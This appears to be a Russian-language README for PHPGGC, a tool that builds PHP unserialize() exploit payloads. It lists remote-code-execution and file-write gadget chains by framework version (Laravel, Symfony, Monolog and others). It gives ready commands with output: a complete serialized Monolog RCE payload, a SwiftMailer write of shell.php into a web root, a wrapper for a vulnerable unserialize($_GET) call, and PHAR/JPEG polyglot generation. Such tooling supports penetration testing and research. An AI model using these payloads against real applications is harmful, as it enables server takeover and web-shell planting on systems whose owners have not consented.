ambionics/phpggcPHPGGC — это библиотека PHP-пейлоадов для unserialize() вместе с инструментом для их генерации из командной строки или программно.
PHPGGC — это библиотека пейлоадов для unserialize(), а также инструмент для их генерации из командной строки или программно. Когда вы сталкиваетесь с unserialize на сайте, кода которого у вас нет, или просто пытаетесь построить эксплойт, этот инструмент позволяет сгенерировать пейлоад, не проходя через утомительные этапы поиска гаджетов и их комбинирования. Его можно рассматривать как аналог frohoff's ysoserial, но для PHP. В настоящее время инструмент поддерживает такие цепочки гаджетов, как: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii и ZendFramework.
Для запуска PHPGGC требуется PHP >= 5.6.
Выполните ./phpggc -l, чтобы получить список цепочек гаджетов:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Фильтрация цепочек гаджетов:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Каждая цепочка гаджетов имеет:
__destruct(), __toString(), offsetGet(), ...)Используйте -i, чтобы получить подробную информацию о цепочке:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Для RCE-гаджетов выполняемая команда может иметь 3 типа форматирования в зависимости от того, как работает гаджет:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idПосле выбора цепочки выполните ./phpggc <gadget-chain> [parameters], чтобы получить пейлоад.
Например, чтобы получить пейлоад для Monolog, выполните:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Для записи файла с помощью SwiftMailer выполните:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
Опция --wrapper (-w) позволяет задать PHP-файл, содержащий следующие функции:
process_parameters(array $parameters): Вызывается непосредственно перед generate(); позволяет изменять параметрыprocess_object(object $object): Вызывается непосредственно перед serialize(); позволяет изменять объектprocess_serialized(string $serialized): Вызывается непосредственно после serialize(); позволяет изменять сериализованную строкуНапример, если уязвимый код выглядит так:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Вы можете использовать цепочку __toString(), обернув её следующим образом:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
И вызвать phpggc так:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
На BlackHat US 2018 @s_n_t выпустил PHARGGC — форк PHPGGC, который вместо создания сериализованного пейлоада собирает целый PHAR-файл. Этот PHAR-файл содержит сериализованные данные и поэтому может использоваться для различных техник эксплуатации (file_exists, fopen и т.д.). Документ доступен здесь.
PHAR-архивы бывают трёх форматов: PHAR, TAR и ZIP. Все три поддерживаются PHPGGC.
Полиглот-файлы можно создавать с помощью --phar-jpeg (-pj). Доступны и другие опции (используйте -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id